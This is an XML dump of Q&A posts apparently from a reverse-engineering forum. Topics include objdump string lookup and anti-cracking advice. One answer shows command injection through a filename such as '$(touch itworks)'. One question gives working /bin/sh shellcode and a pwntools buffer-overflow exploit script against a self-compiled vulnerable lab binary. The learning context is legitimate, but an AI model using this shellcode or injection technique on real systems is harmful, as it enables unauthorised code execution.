  <row Id="26127" PostTypeId="2" ParentId="26061" CreationDate="2020-10-16T22:32:37.397" Score="0" Body="&lt;p&gt;On GNU/Linux, &lt;code&gt;system&lt;/code&gt; passes any arguments to &lt;code&gt;/bin/sh -c &amp;quot;&amp;lt;command&amp;gt;&amp;quot;&lt;/code&gt;. Any shell metacharacters  (e.g. &lt;code&gt;&amp;amp;&lt;/code&gt;, &lt;code&gt;|&lt;/code&gt;, &lt;code&gt;`&lt;/code&gt;, &lt;code&gt;$&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt; etc.) in the command will be interpreted. So,  commands can be run using &lt;code&gt;`command`&lt;/code&gt; or &lt;code&gt;$(command)&lt;/code&gt; to use a subshell, or with other logic.&lt;/p&gt;&#xA;&lt;p&gt;If a file has those characters, commands could be run:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ls itworks&#xA;$ touch '$(touch itworks)'&#xA;$ ./myscript.py '$(touch itworks)'&#xA;$ ls itworks&#xA;itworks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Since the file exists, it will be passed to &lt;code&gt;system&lt;/code&gt;, and any nested commands executed. You may be limited in what commands and arguments can be passed, since &lt;code&gt;/&lt;/code&gt; cannot be used in the filename.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastEditorUserId="24222" LastEditDate="2020-10-18T17:18:47.817" LastActivityDate="2020-10-18T17:18:47.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26128" PostTypeId="1" CreationDate="2020-10-16T23:20:55.453" Score="1" ViewCount="175" Body="&lt;p&gt;Is there any existing project that parses the &lt;em&gt;x86 disassembly file&lt;/em&gt; or &lt;strong&gt;.asm&lt;/strong&gt; produced by the objdump or IDA pro using the &lt;strong&gt;lexer and parser&lt;/strong&gt; library in python or any other programming language?&lt;/p&gt;&#xA;" OwnerUserId="34693" LastActivityDate="2020-10-16T23:20:55.453" Title="Lexer and parser for .asm file produced by objdump" Tags="|ida|disassembly|disassemblers|compilers|objdump|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26129" PostTypeId="1" AcceptedAnswerId="26130" CreationDate="2020-10-17T07:51:39.053" Score="3" ViewCount="688" Body="&lt;p&gt;I've wrote a simple program to print something on the screen as below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ebra@him:/tmp/tuts$ cat sample.c &#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main()&#xA;{&#xA;    puts(&amp;quot;Sample!&amp;quot;);&#xA;}&#xA;&#xA;ebra@him:/tmp/tuts$ gcc sample.c -o sample&#xA;ebra@him:/tmp/tuts$ &#xA; &#xA;ebra@him:/tmp/tuts$ ./sample &#xA;Sample!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then I disassmbled the executable to see what is going on under the hood:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep &amp;quot;&amp;lt;main&amp;gt;:&amp;quot; -A 10&#xA;0000000000001149 &amp;lt;main&amp;gt;:&#xA;    1149:   f3 0f 1e fa             endbr64 &#xA;    114d:   55                      push   rbp&#xA;    114e:   48 89 e5                mov    rbp,rsp&#xA;    1151:   48 8d 3d ac 0e 00 00    lea    rdi,[rip+0xeac]        # 2004 &amp;lt;_IO_stdin_used+0x4&amp;gt;&#xA;    1158:   e8 f3 fe ff ff          call   1050 &amp;lt;puts@plt&amp;gt;&#xA;    115d:   b8 00 00 00 00          mov    eax,0x0&#xA;    1162:   5d                      pop    rbp&#xA;    1163:   c3                      ret    &#xA;    1164:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]&#xA;    116b:   00 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As you see above, right before calling &lt;code&gt;puts&lt;/code&gt; function, we have &lt;code&gt;lea    rdi,[rip+0xeac]&lt;/code&gt;. I assume that &lt;code&gt;[rip+0xeac]&lt;/code&gt; is the address of the hardcoded text (i.e. &amp;quot;Sample!&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;code&gt;rip&lt;/code&gt; is equal to &lt;code&gt;0x1151&lt;/code&gt; while exucuting the &lt;code&gt;mov&lt;/code&gt; line, the value of &lt;code&gt;[rip + 0xeac]&lt;/code&gt; will be &lt;code&gt;0x1151 + 0xeac = 0x1ffd&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But I can't find this address in the disassembled program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i 1ffd&#xA;ebra@him:/tmp/tuts$ objdump -M intel --disassemble-all sample | grep -i &amp;quot;Sample!&amp;quot;&#xA;ebra@him:/tmp/tuts$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;" OwnerUserId="20930" LastEditorUserId="245" LastEditDate="2020-10-20T07:15:29.867" LastActivityDate="2020-10-20T07:15:29.867" Title="Why can't find hardcoded string in the disassembled program?" Tags="|disassembly|c|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26130" PostTypeId="2" ParentId="26129" CreationDate="2020-10-17T08:24:49.673" Score="4" Body="&lt;p&gt;to search String you cant be  using disassemble-all&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;look at the bytes in both commands if you disassemble how can you find the string&#xA;&#xA;objdump -s sample.exe |grep -i sample&#xA;sample.exe:     file format pei-i386&#xA; 404040 00000000 53616d70 6c652100 20634000  ....Sample!. c@.&#xA;&#xA;objdump -M intel --disassemble-all sample.exe  --start-address=0x404044 --stop-address=0x40404f&#xA;&#xA;sample.exe:     file format pei-i386&#xA;&#xA;&#xA;Disassembly of section .rdata:&#xA;&#xA;00404044 &amp;lt;.rdata&amp;gt;:&#xA;  404044:       53                      push   ebx&#xA;  404045:       61                      popa&#xA;  404046:       6d                      ins    DWORD PTR es:[edi],dx&#xA;  404047:       70 6c                   jo     4040b5 &amp;lt;.rdata+0x45&amp;gt;&#xA;  404049:       65 21 00                and    DWORD PTR gs:[eax],eax&#xA;&#xA;0040404c &amp;lt;_GS_ExceptionPointers&amp;gt;:&#xA;  40404c:       20 63 40                and    BYTE PTR [ebx+0x40],ah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-10-17T08:24:49.673" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26131" PostTypeId="1" AcceptedAnswerId="26133" CreationDate="2020-10-17T09:11:50.613" Score="0" ViewCount="610" Body="&lt;p&gt;I'm planning on writing a windows application, used everywhere in my home country. I will code it in C++, but my question is which would you consider better to use?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;win32api&lt;/li&gt;&#xA;&lt;li&gt;Visual C++&lt;/li&gt;&#xA;&lt;li&gt;MFC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I'm asking this because I don't know if you heard about what will happen to Windows 10 and how it will change after the last updates, that's point #1, second I just want it to become a little bit harder to decompile, I know assembly and I've reverse-engineered a lot of programs over the last 5 years, but I just want something harder for that hacker in his father's basement, I don't want it to get cracked or reverse engineered in a day or two, but I know that at the end someone will do it.&#xA;Which framework (or should I say compiler with some extra features) would make it a little bit challenging?&lt;/p&gt;&#xA;&lt;p&gt;I'm fluent in all the languages mentioned above.&lt;/p&gt;&#xA;&lt;p&gt;I know that this Community is made for reverse engineering and so just focus on this part of my question, thank you for your time.&lt;/p&gt;&#xA;" OwnerUserId="34703" LastActivityDate="2020-10-18T04:12:01.700" Title="which is harder to reverse engineer?" Tags="|c++|winapi|mfc|" AnswerCount="1" CommentCount="2" ClosedDate="2020-10-20T07:02:00.440" ContentLicense="CC BY-SA 4.0" />
  <row Id="26133" PostTypeId="2" ParentId="26131" CreationDate="2020-10-18T04:12:01.700" Score="1" Body="&lt;p&gt;If it's challenging or not depends entirely on what you do to make it challenging and the skill level of the attacker. For some it's already enough if you make the decompiler in some old leaked IDA version fail, others read the pure assembly and know exactly what's going on not needing the decompiler at all.&lt;/p&gt;&#xA;&lt;p&gt;The best way to prevent tampering is having license checks at several places that all have to be found in order to get it to work. Sign individual functions, check the signature somewhere else, have that signed aswell. Obfuscate RSA Keys or even better all strings if you decide to use them. Try to avoid a whole bunch of xor instructions at one place (if I see those I know that some crypto is going on there). Also you can include useless/bad assembler instructions that never get executed to confuse the Disassembler, also dead code that seems to be a license check might be a good way to keep someone busy (although a debugger will quickly show them it's never executed. Also there are obfuscators out there you can buy, they generally have even more experience in anti debugging and decompiling techniques.&lt;/p&gt;&#xA;&lt;p&gt;Choose whatever framework you're confident with, don't let license/intellectual property protection be an excuse for bad coding style because you're still inexperienced, especially if it's software you're planning to sell.&lt;/p&gt;&#xA;" OwnerUserId="33683" LastActivityDate="2020-10-18T04:12:01.700" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26134" PostTypeId="1" AcceptedAnswerId="26137" CreationDate="2020-10-18T16:19:09.447" Score="1" ViewCount="4613" Body="&lt;p&gt;Recently, I've been trying to learn how to use the pwntools library. I am trying to exploit the following program using pwntools:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main(void) {&#xA;    char buf[256];&#xA;&#xA;    printf(&amp;quot;Buffer is at %p.\n&amp;quot;, buf);&#xA;    printf(&amp;quot;Type in your name: &amp;quot;);&#xA;    fgets(buf, 1000, stdin);&#xA;    printf(&amp;quot;Hello %s&amp;quot;, buf);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It has been compiled using &lt;code&gt;gcc -o bof bof.c -fno-stack-protector -z execstack&lt;/code&gt;. I am able to exploit the vulnerability if I disable ASLR. My exploit just has shellcode that executes /bin/sh, some useless NOPs, and finally the location of my shellcode on the stack.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ python -c &amp;quot;import sys; sys.stdout.buffer.write(b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05' + b'\x90' * 186 + b'\x50\xdd\xff\xff\xff\x7f')&amp;quot; | ./bof&#xA;Buffer is at 0x7fffffffdd50.&#xA;$ echo hello world&#xA;hello world&#xA;$ exit&#xA;sh: 2: Cannot set tty process group (No such process)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Yet, when I try doing the exact same thing within pwntools, I get the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ python bof.py &#xA;[+] Starting local process './bof': pid 10967&#xA;Received: b'Buffer is at 0x7fffffffdd40.\n'&#xA;Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'&#xA;Using payload:&#xA;b&amp;quot;H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00&amp;quot;&#xA;&#xA;[*] Switching to interactive mode&#xA;$ &#xA;$ $ &#xA;[*] Got EOF while sending in interactive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the code inside of bof.py:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from pwn import *&#xA;  &#xA;# Start the process&#xA;context.update(arch=&amp;quot;i386&amp;quot;, os=&amp;quot;linux&amp;quot;)&#xA;p = process(&amp;quot;./bof&amp;quot;)&#xA;received = str(p.recvline())&#xA;print(&amp;quot;Received: &amp;quot; + received)&#xA;&#xA;# Get the address of the buffer&#xA;buffer_addr_str = received.split()[3:][0][:-4]&#xA;buffer_addr = p64(int(buffer_addr_str, 16))&#xA;print(&amp;quot;Using address: &amp;quot; + str(buffer_addr))&#xA;&#xA;# Generate the payload&#xA;payload = b'\x48\x31\xc0\x48\x31\xff\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x48\x31\xc0\xb0\x3b\x48\x31\xdb\x53\xbb\x6e\x2f\x73\x68\x48\xc1\xe3\x10\x66\xbb\x62\x69\x48\xc1\xe3\x10\xb7\x2f\x53\x48\x89\xe7\x48\x83\xc7\x01\x48\x31\xf6\x48\x31\xd2\x0f\x05'&#xA;nops = b'\x90' * (264 - len(payload))&#xA;print(&amp;quot;Using payload:&amp;quot;)&#xA;print(payload+nops+buffer_addr)&#xA;print()&#xA;&#xA;# Trigger the buffer overflow&#xA;p.send(payload + nops + buffer_addr)&#xA;p.interactive()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is the shellcode that I'm using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;global _start&#xA;_start:&#xA;&#xA;; Syscall to close stdin&#xA;xor rax, rax&#xA;xor rdi, rdi ; Zero represents stdin&#xA;mov al, 3 ; close(0)&#xA;syscall&#xA;&#xA;; open(&amp;quot;/dev/tty&amp;quot;, O_RDWR | ...)&#xA;push rax ; Push a NULL byte onto the stack&#xA;mov rdi, 0x7974742f7665642f ; Move &amp;quot;/dev/tty&amp;quot; (written backwards) into rdi.&#xA;push rdi ; Push the string &amp;quot;/dev/tty&amp;quot; onto the stack.&#xA;push rsp ; Push a pointer to the string onto the stack.&#xA;pop rdi ; rdi now has a pointer to the string &amp;quot;/dev/tty&amp;quot;&#xA;        ; This is equivalent to doing &amp;quot;mov rdi, rsp&amp;quot;&#xA;push rax ; Push a NULL byte onto the stack&#xA;pop rsi ; Make rsi NULL&#xA;        ; This is equivalent to doing &amp;quot;mov rsi, 0&amp;quot;&#xA;mov si, 0x2702 ; Flag for O_RDWR&#xA;mov al, 0x2 ; Syscall for sys_open&#xA;syscall&#xA;&#xA;; Syscall for execve&#xA;xor rax, rax&#xA;mov al, 59&#xA;&#xA;; Push a NULL byte onto the stack&#xA;xor rbx, rbx&#xA;push rbx&#xA;&#xA;; Push /bin/sh onto the stack and get a pointer to it in rdi&#xA;mov rbx, 0x68732f6e ; Move &amp;quot;n/sh&amp;quot; into rbx (written backwards).&#xA;shl rbx, 16 ; Make 2 extra bytes of room in rbx&#xA;mov bx, 0x6962 ; Move &amp;quot;bi&amp;quot; into rbx. Rbx is now equal to &amp;quot;bin/sh&amp;quot; written backwards.&#xA;shl rbx, 16 ; Make 2 extra bytes of room in rbx&#xA;mov bh, 0x2f ; Move &amp;quot;/&amp;quot; into rbx. Rbx is now equal to &amp;quot;/bin/sh&amp;quot; written backwards.&#xA;push rbx ; Move the string &amp;quot;/bin/sh&amp;quot; onto the stack&#xA;mov rdi, rsp ; Get a pointer to the string &amp;quot;/bin/sh&amp;quot; in rdi&#xA;add rdi, 1 ; Add one to rdi (because there is a NULL byte at the beginning)&#xA;&#xA;; Make these values NULL&#xA;xor rsi, rsi&#xA;xor rdx, rdx&#xA;&#xA;; Do the syscall&#xA;syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't understand why calling p.interactive() doesn't spawn a shell. I am sending the same kind of payload that I would be sending if this was being done outside of pwntools. Why am I not getting a shell?&lt;/p&gt;&#xA;&lt;p&gt;Edit: This is what I see when I run the script with DEBUG:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ python bof.py DEBUG&#xA;[+] Starting local process './bof' argv=[b'./bof']  env={b'SHELL': b'/bin/bash', b'SESSION_MANAGER': b'local/N:@/tmp/.ICE-unix/3778,unix/N:/tmp/.ICE-unix/3778', b'QT_ACCESSIBILITY': b'1', b'COLORTERM': b'truecolor', b'XDG_CONFIG_DIRS': b'/etc/xdg/xdg-ubuntu:/etc/xdg', b'XDG_MENU_PREFIX': b'gnome-', b'GNOME_DESKTOP_SESSION_ID': b'this-is-deprecated', b'LANGUAGE': b'en_US:en', b'MANDATORY_PATH': b'/usr/share/gconf/ubuntu.mandatory.path', b'LC_ADDRESS': b'en_US.UTF-8', b'GNOME_SHELL_SESSION_MODE': b'ubuntu', b'LC_NAME': b'en_US.UTF-8', b'SSH_AUTH_SOCK': b'/run/user/1000/keyring/ssh', b'XMODIFIERS': b'@im=ibus', b'DESKTOP_SESSION': b'ubuntu', b'LC_MONETARY': b'en_US.UTF-8', b'SSH_AGENT_PID': b'3743', b'GTK_MODULES': b'gail:atk-bridge', b'PWD': b'/home/n/Documents/Exploitation/basics', b'LOGNAME': b'n', b'XDG_SESSION_DESKTOP': b'ubuntu', b'XDG_SESSION_TYPE': b'x11', b'GPG_AGENT_INFO': b'/run/user/1000/gnupg/S.gpg-agent:0:1', b'XAUTHORITY': b'/run/user/1000/gdm/Xauthority', b'GJS_DEBUG_TOPICS': b'JS ERROR;JS LOG', b'WINDOWPATH': b'2', b'HOME': b'/home/n', b'USERNAME': b'n', b'IM_CONFIG_PHASE': b'1', b'LC_PAPER': b'en_US.UTF-8', b'LANG': b'en_US.UTF-8', b'LS_COLORS': b'rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:', b'XDG_CURRENT_DESKTOP': b'ubuntu:GNOME', b'VTE_VERSION': b'6003', b'GNOME_TERMINAL_SCREEN': b'/org/gnome/Terminal/screen/ff3cb1d9_3c32_4305_b119_f9818ba98eb0', b'INVOCATION_ID': b'f6142bf9cd0a472eadfed7888909b8da', b'MANAGERPID': b'3551', b'GJS_DEBUG_OUTPUT': b'stderr', b'GEM_HOME': b'/home/n/gems', b'LESSCLOSE': b'/usr/bin/lesspipe %s %s', b'XDG_SESSION_CLASS': b'user', b'TERM': b'xterm-256color', b'LC_IDENTIFICATION': b'en_US.UTF-8', b'DEFAULTS_PATH': b'/usr/share/gconf/ubuntu.default.path', b'LESSOPEN': b'| /usr/bin/lesspipe %s', b'USER': b'n', b'GNOME_TERMINAL_SERVICE': b':1.166', b'DISPLAY': b':0', b'SHLVL': b'1', b'LC_TELEPHONE': b'en_US.UTF-8', b'QT_IM_MODULE': b'ibus', b'LC_MEASUREMENT': b'en_US.UTF-8', b'PAPERSIZE': b'letter', b'XDG_RUNTIME_DIR': b'/run/user/1000', b'LC_TIME': b'en_US.UTF-8', b'JOURNAL_STREAM': b'9:50754', b'XDG_DATA_DIRS': b'/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop', b'PATH': b'/home/n/gems/bin:/home/n/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin', b'GDMSESSION': b'ubuntu', b'DBUS_SESSION_BUS_ADDRESS': b'unix:path=/run/user/1000/bus', b'LC_NUMERIC': b'en_US.UTF-8', b'_': b'/usr/bin/python3', b'OLDPWD': b'/home/n/Documents/Exploitation'} : pid 21335&#xA;[DEBUG] Received 0x1d bytes:&#xA;    b'Buffer is at 0x7fffffffdd40.\n'&#xA;Received: b'Buffer is at 0x7fffffffdd40.\n'&#xA;Using address: b'@\xdd\xff\xff\xff\x7f\x00\x00'&#xA;Using payload:&#xA;b&amp;quot;H1\xc0H1\xff\xb0\x03\x0f\x05PH\xbf/dev/ttyWT_P^f\xbe\x02'\xb0\x02\x0f\x05H1\xc0\xb0;H1\xdbS\xbbn/shH\xc1\xe3\x10f\xbbbiH\xc1\xe3\x10\xb7/SH\x89\xe7H\x83\xc7\x01H1\xf6H1\xd2\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90@\xdd\xff\xff\xff\x7f\x00\x00&amp;quot;&#xA;&#xA;[DEBUG] Sent 0x110 bytes:&#xA;    00000000  48 31 c0 48  31 ff b0 03  0f 05 50 48  bf 2f 64 65  │H1·H│1···│··PH│·/de│&#xA;    00000010  76 2f 74 74  79 57 54 5f  50 5e 66 be  02 27 b0 02  │v/tt│yWT_│P^f·│·'··│&#xA;    00000020  0f 05 48 31  c0 b0 3b 48  31 db 53 bb  6e 2f 73 68  │··H1│··;H│1·S·│n/sh│&#xA;    00000030  48 c1 e3 10  66 bb 62 69  48 c1 e3 10  b7 2f 53 48  │H···│f·bi│H···│·/SH│&#xA;    00000040  89 e7 48 83  c7 01 48 31  f6 48 31 d2  0f 05 90 90  │··H·│··H1│·H1·│····│&#xA;    00000050  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│&#xA;    *&#xA;    00000100  90 90 90 90  90 90 90 90  40 dd ff ff  ff 7f 00 00  │····│····│@···│····│&#xA;    00000110&#xA;[*] Switching to interactive mode&#xA;$ &#xA;[DEBUG] Sent 0x1 bytes:&#xA;    10 * 0x1&#xA;[DEBUG] Received 0x2 bytes:&#xA;    b'$ '&#xA;$ $ &#xA;[DEBUG] Sent 0x1 bytes:&#xA;    10 * 0x1&#xA;[*] Got EOF while sending in interactive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Edit 2: I attached a debugger to my program by changing &lt;code&gt;p = process(&amp;quot;./bof&amp;quot;)&lt;/code&gt; to &lt;code&gt;p = gdb.debug(&amp;quot;./bof&amp;quot;)&lt;/code&gt;. I set a breakpoint at &lt;code&gt;main&lt;/code&gt; and stepped through the program. It did eventually execute my shellcode correctly. However, after the last syscall in my shellcode executed, I got the following instead of getting a shell:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x00007fffffffdd8c in ?? ()&#xA;[ Legend: Modified register | Code | Heap | Stack | String ]&#xA;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────&#xA;$rax   : 0x3b              &#xA;$rbx   : 0x68732f6e69622f00&#xA;$rcx   : 0x00007fffffffdd62  →  0xdb31483bb0c03148&#xA;$rdx   : 0x0               &#xA;$rsp   : 0x00007fffffffde30  →  0x68732f6e69622f00&#xA;$rbp   : 0x9090909090909090&#xA;$rsi   : 0x0               &#xA;$rdi   : 0x00007fffffffde31  →  0x0068732f6e69622f (&amp;quot;/bin/sh&amp;quot;?)&#xA;$rip   : 0x00007fffffffdd8c  →  0x909090909090050f&#xA;$r8    : 0xfffffffffffffff9&#xA;$r9    : 0x114             &#xA;$r10   : 0x0000555555556032  →   add BYTE PTR [rax], al&#xA;$r11   : 0x346             &#xA;$r12   : 0x0000555555555080  →  &amp;lt;_start+0&amp;gt; endbr64 &#xA;$r13   : 0x00007fffffffdf30  →  0x0000000000000001&#xA;$r14   : 0x0               &#xA;$r15   : 0x0               &#xA;$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]&#xA;$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 &#xA;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────&#xA;0x00007fffffffde30│+0x0000: 0x68732f6e69622f00   ← $rsp&#xA;0x00007fffffffde38│+0x0008: 0x0000000000000000&#xA;0x00007fffffffde40│+0x0010: &amp;quot;/dev/tty&amp;quot;&#xA;0x00007fffffffde48│+0x0018: 0x0000000000000000&#xA;0x00007fffffffde50│+0x0020: 0x00007ffff7ff000a  →   add BYTE PTR [rbp-0x77], cl&#xA;0x00007fffffffde58│+0x0028: 0x00007fffffffdf38  →  0x00007fffffffe2ab  →  0x485300666f622f2e (&amp;quot;./bof&amp;quot;?)&#xA;0x00007fffffffde60│+0x0030: 0x0000000100000000&#xA;0x00007fffffffde68│+0x0038: 0x0000555555555169  →  &amp;lt;main+0&amp;gt; endbr64 &#xA;─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────&#xA;   0x7fffffffdd82                  add    rdi, 0x1&#xA;   0x7fffffffdd86                  xor    rsi, rsi&#xA;   0x7fffffffdd89                  xor    rdx, rdx&#xA; → 0x7fffffffdd8c                  syscall &#xA;   0x7fffffffdd8e                  nop    &#xA;   0x7fffffffdd8f                  nop    &#xA;   0x7fffffffdd90                  nop    &#xA;   0x7fffffffdd91                  nop    &#xA;   0x7fffffffdd92                  nop    &#xA;─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────&#xA;[#0] Id 1, Name: &amp;quot;bof&amp;quot;, stopped, reason: SINGLE STEP&#xA;───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────&#xA;[#0] 0x7fffffffdd8c → syscall &#xA;────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────&#xA;gef➤  &#xA;process 32648 is executing new program: /bin/dash&#xA;Reading /bin/dash from remote 